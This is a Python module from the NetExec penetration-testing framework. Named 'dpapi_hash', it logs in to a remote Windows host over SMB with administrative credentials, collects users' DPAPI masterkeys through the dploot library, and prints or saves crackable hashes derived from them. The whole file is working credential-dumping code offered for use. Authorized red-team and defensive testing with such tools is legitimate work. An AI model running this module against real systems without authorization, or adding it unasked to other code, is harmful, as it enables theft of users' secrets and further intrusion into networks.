Files
Pennyw0rth-NetExec/nxc/modules/dpapi_hash.py
T
2025-08-26 17:53:42 -04:00

64 lines
2.6 KiB
Python

from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""OUTPUTFILE Output file to write hashes"""
self.outputfile = None
if "OUTPUTFILE" in module_options:
self.outputfile = module_options["OUTPUTFILE"]
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
masterkeys_triage.triage_masterkeys()
if self.outputfile is not None:
with open(self.outputfile, "a+") as fd:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
fd.write(f"{mkhash}\n")
else:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")